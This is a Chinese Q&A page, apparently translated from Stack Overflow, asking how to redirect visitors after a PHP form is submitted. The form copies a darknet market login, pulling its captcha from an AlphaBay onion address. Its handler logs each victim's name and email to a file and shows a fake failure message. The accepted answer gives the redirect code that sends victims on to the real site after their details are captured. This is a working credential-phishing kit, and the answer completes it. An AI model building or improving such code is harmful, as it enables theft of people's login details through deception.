填写php表单后如何将用户重定向到其他网站

时间:2016-09-09 16:04:29

标签: php html

我和一些程序员打过架,他破坏了我的代码,基本上,客户必须在www.mywebsite.com/fill填写一些php表格

       <?php
            if(isset($_SESSION['wrong'])) {
                echo "<p class='error'>submit failed, please retype your information.</p>";
                session_destroy();
            }
        ?>
<form name="formLogin" method="post" action="doneA.php">

    <div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
    <div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Last name:</span></div>
    <div class="tclpad"><input name="input2" class="std" size="65" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">email</span></div>
    <div class="tclpad"><input name="input3" class="std" size="10" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">captcha</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div>
    <div class="tclpad"><input class="bstd" value="submit" type="submit"></div>

    <div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>

订阅

现在他们完成提交表单后,他们不需要重定向到其他网站,www.mysecondwebiste.com,其他PHP脚本是谁:

<?php
session_start();

if(isset($_POST['input1'])){
    $name = $_POST['input1'];
}

if(isset($_POST['input2'])){
    $lastname = $_POST['input2'];
}

if(isset($_POST['input3'])){
    $email = $_POST['input3'];
}

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1\n";
fwrite($fh,"firstname: " . $name . "\n" . " Lastname: " . $lastname . "\n" . " email: " . $email . "\n----------------------------\n");
fclose($fh);

header("Location: index.php");


$_SESSION['wrong'] = '1';
?>

现在在目前的情况下,当他们完成完成php表单时,会收到错误消息“提交失败,请重新输入您的信息”。他们重定向到www.mywebsite.com/index.php而不是www.mysecondwebsite.com。

程序员做了什么?我该如何解决?

1 个答案:

答案 0 :(得分:0)

重定向可以通过更改此

来完成
header("Location: index.php");

到这个

header("Location: http://www.mysecondwebsite.com");

或者,您可以使用元刷新代替标题。

echo "<meta http-equiv='refresh' content='NUMSECONDS;http://www.mysecondwebsite.com' />";

您可以将NUMSECONDS更改为您想要在重定向之前等待的任何秒数,或者您可以将其设置为0秒。